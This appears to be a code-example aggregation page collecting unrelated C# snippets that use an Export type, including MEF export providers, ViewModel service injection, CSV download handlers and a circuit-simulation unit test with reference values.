Inheritance: System.Web.UI.Page
        /// <summary>
        /// Initializes a new instance of the <see cref="MefScopedCompositionContext"/> class.
        /// </summary>
        /// <param name="export">The export.</param>
        public MefScopedCompositionContext(Export<CompositionContext> export)
        {
            Contract.Requires(export != null);

            this.export = export;
            this.Initialize(this.export.Value);
        }
示例#2
0
 public ForceFieldExport(Configuration config, Export source, Type typeToProxy)
     : base(source.Definition, () => null)
 {
     _config = config;
     _source = source;
     _typeToProxy = typeToProxy;
 }
                protected override object GetExportedValueCore()
                {
                    if (this._export == null)
                    {
                        // Need to create a new scopedefinition that is filtered by the ExportProvider
                        var filteredScopeDefinition = new CompositionScopeDefinition(
                            new FilteredCatalog(this._scopeFactoryExport._catalog, this._catalogFilter), 
                            this._scopeFactoryExport._catalog.Children);
                        var childContainer = this._scopeFactoryExport._scopeManager.CreateChildContainer(filteredScopeDefinition);

                        var export = childContainer.CatalogExportProvider.CreateExport(this._scopeFactoryExport.UnderlyingPartDefinition, this._scopeFactoryExport.UnderlyingExportDefinition, false, CreationPolicy.Any);
                        lock (this._lock)
                        {
                            if (this._export == null)
                            {
                                this._childContainer = childContainer;
                                Thread.MemoryBarrier();
                                this._export = export;

                                childContainer = null;
                                export = null;
                            }
                        }
                        if (childContainer != null)
                        {
                            childContainer.Dispose();
                        }
                    }

                    return this._export.Value;
                }
示例#4
0
    static void Main()
    {
        try
        {
            if (!Directory.Exists(Settings.Default.GAME_PATH))
            {
                throw new FileNotFoundException("Specify correct WoT root folder");
            }

            List<Vehicle> vehicles = new List<Vehicle>();
            foreach (string country in Defines.COUNTRIES)
            {
                vehicles.AddRange(ListXmlParser.getVehicleByNation(country));
            }

            Export exporter = new Export(vehicles);
            exporter.genVehicleInfoData2();
            exporter.genVehicleInfoData2AS3();
            exporter.genVehicleNames();
            //exporter.genVehicleInfoData(); need resolve sortNames & special matchmaking definition
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error:\n" + ex);
        }

        #if DEBUG
                Console.WriteLine("Press any key to close...");
                Console.ReadKey();
        #endif
    }
        /// <summary>
        /// Create an Export
        /// </summary>
        /// <param name="fields"></param>
        /// <param name="destinationUri"></param>
        /// <param name="filter"> </param>
        /// <returns>The URI for the export</returns>
        public string CreateExport(Dictionary<string, string> fields, string destinationUri, ExportFilter filter)
        {
            Export export = new Export
                                {
                                    name = "sample export",
                                    fields = fields,
                                    filter = filter,
                                    secondsToAutoDelete = 3600,
                                    secondsToRetainData = 3600,
                                    syncActions = new List<SyncAction>
                                                      {
                                                          new SyncAction
                                                              {
                                                                  action = SyncActionType.add,
                                                                  destinationUri = destinationUri
                                                              }
                                                      }
                                };

            RestRequest request = new RestRequest(Method.POST)
                                      {
                                          Resource = "/contact/export",
                                          RequestFormat = DataFormat.Json,
                                          RootElement = "export"
                                      };
            request.AddBody(export);

            IRestResponse<Export> response = _client.Execute<Export>(request);
            Export returnedExport = response.Data;

            return returnedExport.uri;
        }
 internal UndoExportProvider()
 {
     _textUndoHistoryRegistryContractName = AttributedModelServices.GetContractName(typeof(ITextUndoHistoryRegistry));
     _basicUndoHistoryRegistryContractName = AttributedModelServices.GetContractName(typeof(IBasicUndoHistoryRegistry));
     _basicUndoHistoryRegistry = EditorUtilsFactory.CreateBasicUndoHistoryRegistry();
     _export = new Export(_textUndoHistoryRegistryContractName, () => _basicUndoHistoryRegistry);
 }
示例#7
0
        /// <summary>
        ///     The main entry point for the application.
        /// </summary>
        private static void Main(string[] args)
        {
            XmlConfigurator.Configure();
            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            var log = LogManager.GetLogger("VSSyncExportService"); //new LocalLog(GetLogFileName());
            try
            {
            #if DEBUG

                var tms = new Export {Log = log};
                tms.Execute();

                while (true)
                {
                    Thread.Sleep(10000);
                }
            #else

                log.Info("VSSync Export Service running...");
                var export = new Export { Log = log };
                var servicesToRun = new ServiceBase[]
                {
                   export
                };
                ServiceBase.Run(servicesToRun);
            #endif
            }
            catch (Exception ex)
            {
                log.Error("Service error.", ex);
            }
        }
示例#8
0
        public ExportDialog(ISequence sequence)
        {
            InitializeComponent();

            ForeColor = ThemeColorTable.ForeColor;
            BackColor = ThemeColorTable.BackgroundColor;
            ThemeUpdateControls.UpdateControls(this);
            Icon = Resources.Icon_Vixen3;

            _sequence = sequence;
            _exportOps = new Export();
            _exportOps.SequenceNotify += SequenceNotify;

            _sequenceFileName = _sequence.FilePath;

            IEnumerable<string> mediaFileNames =
                (from media in _sequence.SequenceData.Media
                 where media.GetType().ToString().Contains("Audio")
                 where media.MediaFilePath.Length != 0
                 select media.MediaFilePath);

            _audioFileName = "";
            if (mediaFileNames.Count() > 0)
            {
                _audioFileName = mediaFileNames.First();
            }

            exportProgressBar.Visible = false;
            currentTimeLabel.Visible = false;

            _cancelled = false;

            backgroundWorker1.DoWork += new DoWorkEventHandler(backgroundWorker1_DoWork);
            backgroundWorker1.ProgressChanged += new ProgressChangedEventHandler(backgroundWorker1_ProgressChanged);
        }
        protected virtual void TryInjectingServicesToVM(Export vmExport, object vm, object containerContext)
        {
            var services = (IEnumerable<Type>)vmExport.Metadata[ExportViewModel.ContextAwareServicesProperty];

             var serviceConsumerVM = vm as IServiceConsumer;

             if (serviceConsumerVM != null && services != null) // then we should feed the view model with these services
             {
                 foreach (var serviceType in services)
                 {
                     //Get services from the MEFComposition
                     Export serviceExport = resolver.GetServiceByContract(serviceType);
                     if (serviceExport != null)
                     {
                         serviceConsumerVM.ServiceLocator.RegisterService(serviceExport.Value, serviceType);
                         InjectContext(serviceExport, containerContext);
                     }
                     else
                     {
                         Debug.WriteLine("Cannot find export for service : " + serviceType.FullName);
                     }
                 }
                 serviceConsumerVM.OnServicesInjected();
             }
        }
示例#10
0
        public void Constructor2_DefinitionAsDefinitionArgument_ShouldSetDefinitionProperty()
        {
            var definition = ExportDefinitionFactory.Create();

            var export = new Export(definition, () => null);

            Assert.AreSame(definition, export.Definition);
        }
示例#11
0
 public async Task PerformExport()
 {
     Export ex = new Export();
     await ex.ExportToCachebox(_gcList,
         Core.Settings.Default.CacheboxTargetFolder,
         Core.Settings.Default.CacheboxMaxLogCount);
     Close();
 }
示例#12
0
        private object CastSingleExportToImportType(Type type, Export export)
        {
            if (this.ImportType.CastExport != null)
            {
                return this.ImportType.CastExport(export);
            }

            return Cast(type, export);
        }
 public static void Add(this ComponentCollection<IdentitySource> collection, 
                        string name, 
                        IdentitySource source)
 {
     Dictionary<string, object> metadata = new Dictionary<string, object>();
     metadata.Add("Name", name);
     var export = new Export<IdentitySource, ComponentMetadata>(metadata, () => source);
     collection.Add(export);
 }
        protected override IEnumerable<Export> GetExportsCore(ImportDefinition definition, AtomicComposition atomicComposition)
        {
            if (typeof(OliveOil).FullName != definition.ContractName)
            {
                return Enumerable.Empty<Export>();
            }

            var export = new Export(definition.ContractName, () => new OliveOil());
            return new[] { export };
        }
 private object GetValue(Export innerExport)
 {
     var value = innerExport.Value;
     var context = value as IContextAware;
     if (context != null)
     {
         context.InjectContext(_context);
     }
     return value;
 }
示例#16
0
        /// <summary>
        /// Releases unmanaged and - optionally - managed resources.
        /// </summary>
        /// <param name="disposing"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>
        protected override void Dispose(bool disposing)
        {
            if (this.export != null)
            {
                this.export.Dispose();
                this.export = null;
            }

            base.Dispose(disposing);
        }
示例#17
0
 public async Task PerformExport()
 {
     Export ex = new Export();
     await ex.ExportToGDAK(_gcList,
         Core.Settings.Default.GDAKTargetFolder,
         Core.Settings.Default.GDAKMaxLogCount,
         Core.Settings.Default.GDAKExportOfflineImages,
         Core.Settings.Default.GDAKMaxImagesInFolder);
     Close();
 }
示例#18
0
 public object CastExportsToImportType(Export[] exports)
 {
     if (this.Definition.Cardinality == ImportCardinality.ZeroOrMore)
     {
         return CastExportsToCollectionImportType(exports);
     }
     else
     {
         return CastExportsToSingleImportType(exports);
     }
 }
示例#19
0
        private object CastExportsToSingleImportType(Export[] exports)
        {
            Assumes.NotNull(exports);
            Assumes.IsTrue(exports.Length < 2);

            if (exports.Length == 0)
            {   
                return null;
            }

            return CastSingleExportToImportType(this.ImportType.ActualType, exports[0]);
        }
        protected override IEnumerable<Export> GetExportsCore(ImportDefinition definition, AtomicComposition atomicComposition)
        {
            var contractName = definition.ContractName;

            if (string.IsNullOrEmpty(contractName))
            {
                // no contract, nothing we can do
                yield break;
            }

            if (definition.Cardinality != ImportCardinality.ZeroOrOne && definition.Cardinality != ImportCardinality.ExactlyOne)
            {
                // we only support single value cardinalities
                yield break;
            }

            if (_source.Contains(contractName))
            {
                // import was found to be an app setting - may need to convert it to an appropriate type for the importer
                Type targetType = null;
                string stringValue = null;

                if (ReflectionModelServices.IsImportingParameter(definition))
                {
                    // import appears on a parameter
                    var importingParameter = ReflectionModelServices.GetImportingParameter(definition);
                    targetType = importingParameter.Value.ParameterType;
                    stringValue = _source.GetValue(contractName);
                }
                else
                {
                    // import appears on a member (property)
                    var getAccessor = ReflectionModelServices
                        .GetImportingMember(definition)
                        .GetAccessors()
                        .Where(x => x is MethodInfo)
                        .Select(x => x as MethodInfo)
                        .FirstOrDefault(x => (x.Attributes & MethodAttributes.SpecialName) == MethodAttributes.SpecialName && x.Name.StartsWith("get_", StringComparison.Ordinal));

                    if (getAccessor == null)
                    {
                        // cannot determine type of importing property
                        yield break;
                    }

                    targetType = getAccessor.ReturnType;
                    stringValue = _source.GetValue(contractName);
                }

                var export = new Export(contractName, () => Convert.ChangeType(stringValue, targetType));
                yield return export;
            }
        }
示例#21
0
        private object GetValue(Export innerExport)
        {
            var value = innerExport.Value;
            if (innerExport.Metadata.Any(x => x.Key == "AreAspectsEnabled"))
            {
                var specificMetadata =
                    innerExport.Metadata.Single(x => x.Key == "AreAspectsEnabled");

                return (Boolean)specificMetadata.Value == true ? AspectProxy.Factory(value) : value;
            }
            return value;
        }
示例#22
0
 public fmSmartthai()
 {
     InitializeComponent();
     IntPtr lHwnd = FindWindow("Shell_TrayWnd", null);
     SendMessage(lHwnd, WM_COMMAND, (IntPtr)MIN_ALL, IntPtr.Zero);
     tabTreeview.Enabled = false;
     tabMM.Enabled = false;
     tabExport.Enabled = false;
     st = new Smarttree(treeSmart);
     wiki = new Wiki();
     export = new Export();
 }
        public override void CreateViewModel(Export viewModelContext, 
            FrameworkElement containerElement)
        {
            if (!Designer.IsInDesignMode) // if at runtime
            {
#if SILVERLIGHT
                RoutedEventHandler handler = null;
                handler = delegate
                {
                    if (containerElement.DataContext != null) // it means we have the VM instance now we should inject the services
                    {
                        resolver.SatisfyImports(containerElement.DataContext, containerElement);
                    }
                    containerElement.Loaded -= handler;
                };
                if (containerElement.DataContext == null)
                    containerElement.Loaded += handler;
                else
                {
                    handler(null, default(RoutedEventArgs));
                }
#else
                DependencyPropertyChangedEventHandler handler = null;
                handler = delegate
                {
                    if (containerElement.DataContext != null) // it means we have the VM instance now we should inject the services
                    {
                        resolver.SatisfyImports(containerElement.DataContext, containerElement);
                    }
                    containerElement.DataContextChanged -= handler;
                };

                if (containerElement.DataContext == null)
                    containerElement.DataContextChanged += handler; // we need to wait until the context is set
                else // DataContext is already set 
                {
                    handler(null, default(DependencyPropertyChangedEventArgs));
                }
#endif
            }


            if(Designer.IsInDesignMode)
            {
                base.CreateViewModel(viewModelContext, containerElement ); // this will create the VM and set it as DataContext

                //if the ViewModel is an IDataContextAware ViewModel then we should call the DesignTimeInitialization
                var dataContextAwareVM = containerElement.DataContext as IDesignTimeAware;
                if (dataContextAwareVM != null)
                    dataContextAwareVM.DesignTimeInitialization();
            }
        }
示例#24
0
 protected void lbtnDownload_Click(object sender, EventArgs e)
 {
     Export Export = new Export("Web");
     DataTable exportTable = null;
     Campaign objCampaign = new Campaign(ConnectionString);
     exportTable = objCampaign.getMailingCampaignsCountWithFile(ConnectionString, assignId, "MailingName", "asc", 0, rowCount, out rowCount);
     exportTable.Columns.Remove("AssignedCampaignName");
     exportTable.Columns.Remove("RowRank");
     if (exportTable.Rows.Count != 0)
         Export.ExportDetails(exportTable, Export.ExportFormat.CSV, "CampaignSummary.csv");
     else
         ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true);
 }
示例#25
0
        public void TryGetExports_NullAsDefinitionArgument_ShouldNotSetExportsArgument()
        {
            var provider = ExportProviderFactory.Create();

            IEnumerable<Export> exports = new Export[0];
            IEnumerable<Export> results = exports;
            
            ExceptionAssert.Throws<ArgumentNullException>(() =>
            {
                provider.TryGetExports((ImportDefinition)null, null, out results);
            });

            Assert.AreSame(exports, results);
        }
        public override void CreateViewModel(Export viewModelContext, 
            FrameworkElement containerElement)
        {
            if (!Designer.IsInDesignMode) // if at runtime
            {
#if SILVERLIGHT
                RoutedEventHandler handler = null;
                handler = delegate
                {
                    var newContext = containerElement.DataContext as IServiceConsumer;
                    if (newContext != null) // it means we have the VM instance now we should inject the services
                    {
                        TryInjectingServicesToVM(viewModelContext, newContext, containerElement);
                    }
                    containerElement.Loaded -= handler;
                };
                if (containerElement.DataContext == null)
                    containerElement.Loaded += handler;
                else
                {
                    handler(null, default(RoutedEventArgs));
                }
#else
                DependencyPropertyChangedEventHandler handler = null;
                handler = delegate
                {
                    var newContext = containerElement.DataContext as IServiceConsumer;
                    if (newContext != null) // it means we have the VM instance now we should inject the services
                    {
                        TryInjectingServicesToVM(viewModelContext, newContext, containerElement);
                    }
                    containerElement.DataContextChanged -= handler;
                };

                if (containerElement.DataContext == null)
                    containerElement.DataContextChanged += handler; // we need to wait until the context is set
                else // DataContext is already set 
                {
                    handler(null, default(DependencyPropertyChangedEventArgs));
                }
#endif
            }

            else // at design time
            {
                base.CreateViewModel(viewModelContext, containerElement ); // this will create the VM and set it as DataContext
            }
        }
示例#27
0
 protected override IEnumerable<Export> GetExportsCore(ImportDefinition aDefinition, AtomicComposition aAtomicComposition)
 {
     List<Export> _Exports = new List<Export>();
     MEFExportItem _MEFExportItem;
     if (mappings.TryGetValue(aDefinition.ContractName, out _MEFExportItem))
     {
         Type _Type = Type.GetType(_MEFExportItem.Type);
         object[] _Parameters = CreateParameters(_MEFExportItem.Arguments);
         Type[] _ParameterTypes = _Parameters.Select(x => x.GetType()).ToArray();
         object _Instance = _Type.GetConstructor(_ParameterTypes).Invoke(_Parameters);
         ExportDefinition _ExportDefintion = new ExportDefinition(aDefinition.ContractName, new Dictionary<string, object>());
         Export _NewExport = new Export(_ExportDefintion, () => _Instance);
         _Exports.Add(_NewExport);
     }
     return _Exports;
 }
示例#28
0
 /// <summary>
 /// Gets all exports for this provider.
 /// </summary>
 /// <param name="definition">The import definition to match.</param>
 /// <param name="atomicComposition">The atomic composition.</param>
 /// <returns>An enumerable of available exports.</returns>
 protected override IEnumerable<Export> GetExportsCore(ImportDefinition definition, AtomicComposition atomicComposition)
 {
     if (definition.ContractName != null)
     {
         Type contractType;
         if (contractMapping.TryGetValue(definition.ContractName, out contractType))
         {
             if (definition.Cardinality == ImportCardinality.ExactlyOne
                 || definition.Cardinality == ImportCardinality.ZeroOrOne)
             {
                 var export = new Export(definition.ContractName, () => serviceLocator.GetInstance(contractType));
                 return new List<Export> { export };
             }
         }
     }
     return Enumerable.Empty<Export>();
 }
示例#29
0
 protected void lbtnDownload_Click(object sender, EventArgs e)
 {
     Export Export = new Export("Web");
     DataTable table = null;
     int pageSize = Convert.ToInt32(Request.QueryString["pageSize"].ToString());
     if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("TotalContacted"))
     {
         table = ContactMaster.SelectSuccessfulDeliveredByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count);
         if (table.Rows.Count != 0)
         {
             Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_TotalContacted.csv");
         }
         else
             ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true);
     }
     if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("UniqueEmailOpens"))
     {
         table = ContactMaster.EmailOpendRecByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count, out TotalOpenCounts, out UniqueOpenCounts);
         if (table.Rows.Count != 0)
         {
             Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_UniqueEmailOpens.csv");
         }
         else
             ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true);
     }
     if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("UniqueEmailClicks"))
     {
         table = ContactMaster.EmailClickedRecByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count, out TotalClickCounts, out UniqueClickCounts);
         if (table.Rows.Count != 0)
         {
             Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_UniqueEmailClicks.csv");
         }
         else
             ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true);
     }
     if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("UniqueFormSubmits"))
     {
         table = ContactMaster.EmailWheelockClickedRecByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count);
         if (table.Rows.Count != 0)
         {
             Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_UniqueFormSubmits.csv");
         }
         else
             ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true);
     }
 }
        /// <summary>
        /// Create the ViewModel and injects any services needed
        /// </summary>
        /// <param name="viewModelContext"></param>
        /// <param name="containerElement"></param>
        /// <param name="dataServicesFactories"></param>
        public virtual void CreateViewModel(Export viewModelContext, FrameworkElement containerElement)
        {
            var vm = viewModelContext.Value;
            if (vm == null)
                throw new InvalidOperationException(CannotFindViewModel);

            TryInjectingServicesToVM(viewModelContext, vm, containerElement);

            containerElement.DataContext = vm;

            if (Designer.IsInDesignMode)
            {
                //if the ViewModel is an IDataContextAware ViewModel then we should call the DesignTimeInitialization
                var dataContextAwareVM = containerElement.DataContext as IDesignTimeAware;
                if (dataContextAwareVM != null)
                    dataContextAwareVM.DesignTimeInitialization();
            }
        }
示例#31
0
 static void widget_EventKeyLostFocus(Widget _sender, Widget _new)
 {
     Export.DebugOut("EventKeyLostFocus  _new=" + (_new == null ? "null" : _new.ToString()));
 }
示例#32
0
 /// <summary>
 /// Starts the export of sensor data values for a particular point in time. This call must be followed by a call to <see cref="EndTimestamp"/>.
 /// Use <see cref="Field"/> to export field information.
 /// </summary>
 /// <param name="Timestamp">Timestamp</param>
 public void StartTimestamp(DateTime Timestamp)
 {
     Export.StartExportTimestamp(this.xml, Timestamp);
 }
示例#33
0
 static void widget_EventKeySetFocus(Widget _sender, Widget _old)
 {
     Export.DebugOut("EventKeySetFocus  _old=" + (_old == null ? "null" : _old.ToString()));
 }
示例#34
0
        public void When_DelayTransientBreakpoints_Expect_Reference()
        {
            // Build the circuit
            var ckt = new Circuit(
                new VoltageSource("V1", "in", "0", new Pulse(0, 5, 1e-7, 1e-7, 1e-7, 1e-5, 2e-5)),
                new VoltageDelay("Delay1", "out", "0", "in", "0", 0.5e-5)
                // This will make the delay element add a breakpoint when the input changes rapidly
                .SetParameter("reltol", 0.5)
                );

            // Build the simulation
            var tran    = new Transient("tran", 1e-7, 10e-5);
            var exports = new Export <double>[]
            {
                new GenericExport <double>(tran, () => tran.Method.Time),
                new RealVoltageExport(tran, "in"),
                new RealVoltageExport(tran, "out"),
            };
            var references = new[]
            {
                new[]
                {
                    0, 1E-09, 2E-09, 4E-09, 8E-09, 1.6E-08, 3.2E-08, 6.4E-08, 1E-07, 1.064E-07, 1.192E-07, 1.448E-07,
                    1.96E-07, 2E-07, 2.08E-07, 2.24E-07, 2.55999999999999E-07, 3.19999999999999E-07,
                    4.47999999999997E-07, 7.03999999999994E-07, 1.21599999999999E-06, 2.23999999999998E-06,
                    4.23999999999998E-06, 5.1E-06, 5.11E-06, 5.13E-06, 5.17E-06, 5.2E-06, 5.208E-06, 5.224E-06,
                    5.256E-06, 5.32E-06, 5.448E-06, 5.704E-06, 6.216E-06, 7.24E-06, 9.24E-06, 1.02E-05, 1.021E-05,
                    1.023E-05, 1.027E-05, 1.03E-05, 1.0308E-05, 1.0324E-05, 1.0356E-05, 1.042E-05, 1.0548E-05,
                    1.0804E-05, 1.1316E-05, 1.234E-05, 1.434E-05, 1.52E-05, 1.521E-05, 1.523E-05, 1.527E-05, 1.53E-05,
                    1.5308E-05, 1.5324E-05, 1.5356E-05, 1.542E-05, 1.5548E-05, 1.5804E-05, 1.6316E-05,
                    1.73400000000001E-05, 1.93400000000001E-05, 2.01E-05, 2.011E-05, 2.013E-05, 2.017E-05, 2.02E-05,
                    2.0208E-05, 2.0224E-05, 2.0256E-05, 2.032E-05, 2.0448E-05, 2.0704E-05, 2.1216E-05, 2.224E-05,
                    2.424E-05, 2.51E-05, 2.511E-05, 2.513E-05, 2.517E-05, 2.52E-05, 2.5208E-05, 2.5224E-05, 2.5256E-05,
                    2.532E-05, 2.5448E-05, 2.5704E-05, 2.6216E-05, 2.724E-05, 2.924E-05, 3.02E-05, 3.021E-05, 3.023E-05,
                    3.027E-05, 3.03E-05, 3.0308E-05, 3.0324E-05, 3.0356E-05, 3.042E-05, 3.0548E-05, 3.0804E-05,
                    3.1316E-05, 3.234E-05, 3.434E-05, 3.52E-05, 3.521E-05, 3.523E-05, 3.527E-05, 3.53E-05, 3.5308E-05,
                    3.5324E-05, 3.5356E-05, 3.542E-05, 3.5548E-05, 3.5804E-05, 3.6316E-05, 3.73400000000001E-05,
                    3.93400000000001E-05, 4.01E-05, 4.011E-05, 4.013E-05, 4.017E-05, 4.02E-05, 4.0208E-05, 4.0224E-05,
                    4.0256E-05, 4.032E-05, 4.0448E-05, 4.0704E-05, 4.1216E-05, 4.22400000000001E-05,
                    4.42400000000001E-05, 4.51E-05, 4.511E-05, 4.513E-05, 4.517E-05, 4.52E-05, 4.5208E-05, 4.5224E-05,
                    4.5256E-05, 4.532E-05, 4.5448E-05, 4.5704E-05, 4.6216E-05, 4.724E-05, 4.92400000000001E-05,
                    5.02E-05, 5.021E-05, 5.023E-05, 5.027E-05, 5.03E-05, 5.0308E-05, 5.0324E-05, 5.0356E-05, 5.042E-05,
                    5.0548E-05, 5.0804E-05, 5.1316E-05, 5.23400000000001E-05, 5.43400000000001E-05, 5.52E-05, 5.521E-05,
                    5.523E-05, 5.527E-05, 5.53E-05, 5.5308E-05, 5.5324E-05, 5.5356E-05, 5.542E-05, 5.5548E-05,
                    5.5804E-05, 5.6316E-05, 5.73400000000001E-05, 5.93400000000001E-05, 6.01E-05, 6.011E-05, 6.013E-05,
                    6.017E-05, 6.02E-05, 6.0208E-05, 6.0224E-05, 6.0256E-05, 6.032E-05, 6.0448E-05, 6.0704E-05,
                    6.1216E-05, 6.22400000000001E-05, 6.42400000000001E-05, 6.51E-05, 6.511E-05, 6.513E-05, 6.517E-05,
                    6.52E-05, 6.5208E-05, 6.5224E-05, 6.5256E-05, 6.532E-05, 6.5448E-05, 6.5704E-05, 6.6216E-05,
                    6.72400000000001E-05, 6.92400000000001E-05, 7.02E-05, 7.021E-05, 7.023E-05, 7.027E-05, 7.03E-05,
                    7.0308E-05, 7.0324E-05, 7.0356E-05, 7.042E-05, 7.0548E-05, 7.0804E-05, 7.1316E-05,
                    7.23400000000001E-05, 7.43400000000001E-05, 7.52E-05, 7.521E-05, 7.523E-05, 7.527E-05, 7.53E-05,
                    7.5308E-05, 7.5324E-05, 7.5356E-05, 7.542E-05, 7.5548E-05, 7.5804E-05, 7.6316E-05,
                    7.73400000000001E-05, 7.93400000000001E-05, 8.01E-05, 8.011E-05, 8.013E-05, 8.017E-05, 8.02E-05,
                    8.0208E-05, 8.0224E-05, 8.0256E-05, 8.032E-05, 8.0448E-05, 8.0704E-05, 8.1216E-05,
                    8.22400000000001E-05, 8.42400000000001E-05, 8.51E-05, 8.511E-05, 8.513E-05, 8.517E-05, 8.52E-05,
                    8.5208E-05, 8.5224E-05, 8.5256E-05, 8.532E-05, 8.5448E-05, 8.5704E-05, 8.6216E-05,
                    8.72400000000001E-05, 8.92400000000001E-05, 9.02E-05, 9.021E-05, 9.023E-05, 9.027E-05, 9.03E-05,
                    9.0308E-05, 9.0324E-05, 9.0356E-05, 9.042E-05, 9.0548E-05, 9.0804E-05, 9.1316E-05,
                    9.23400000000001E-05, 9.43400000000001E-05, 9.52E-05, 9.521E-05, 9.523E-05, 9.527E-05, 9.53E-05,
                    9.5308E-05, 9.5324E-05, 9.5356E-05, 9.542E-05, 9.5548E-05, 9.5804E-05, 9.6316E-05,
                    9.73400000000001E-05, 9.93400000000001E-05, 0.0001
                },
                new[]
                {
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0.32, 0.960000000000001, 2.24, 4.8, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000009, 3.5000000000001, 1.50000000000012,
                    4.79616346638068E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0.50000000000008, 1.50000000000007, 3.50000000000005, 4.99999999999995, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999993, 1.49999999999995,
                    4.79616346638068E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0.499999999999741, 1.4999999999999, 3.49999999999988, 4.99999999999978, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976, 1.49999999999978,
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.50000000000008,
                    1.50000000000024, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.50000000000022, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026,
                    3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0, 0, 0
                },
                new[]
                {
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.49999999999999,
                    1.49999999999998, 3.49999999999996, 4.99999999999999, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000018, 3.50000000000018, 1.50000000000003,
                    4.79616346637966E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0.50000000000008, 1.50000000000007, 3.50000000000005, 4.99999999999995, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976, 1.49999999999978,
                    4.79616346637864E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0.499999999999741, 1.4999999999999, 3.49999999999988, 4.99999999999978, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976, 1.49999999999978,
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741,
                    1.4999999999999, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
                    5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.50000000000022, 5, 5, 5,
                    5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001,
                    1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
                },
            };

            // Analyze
            AnalyzeTransient(tran, ckt, exports, references);
            DestroyExports(exports);
        }
示例#35
0
 private void exportToXlsLink_OpenLink(object sender, DevExpress.XtraEditors.Controls.OpenLinkEventArgs e)
 {
     Export.ExportGridToFile(gridControl1, "xls");
 }
示例#36
0
 static void widget_EventMouseWheel(Widget _sender, int _rel)
 {
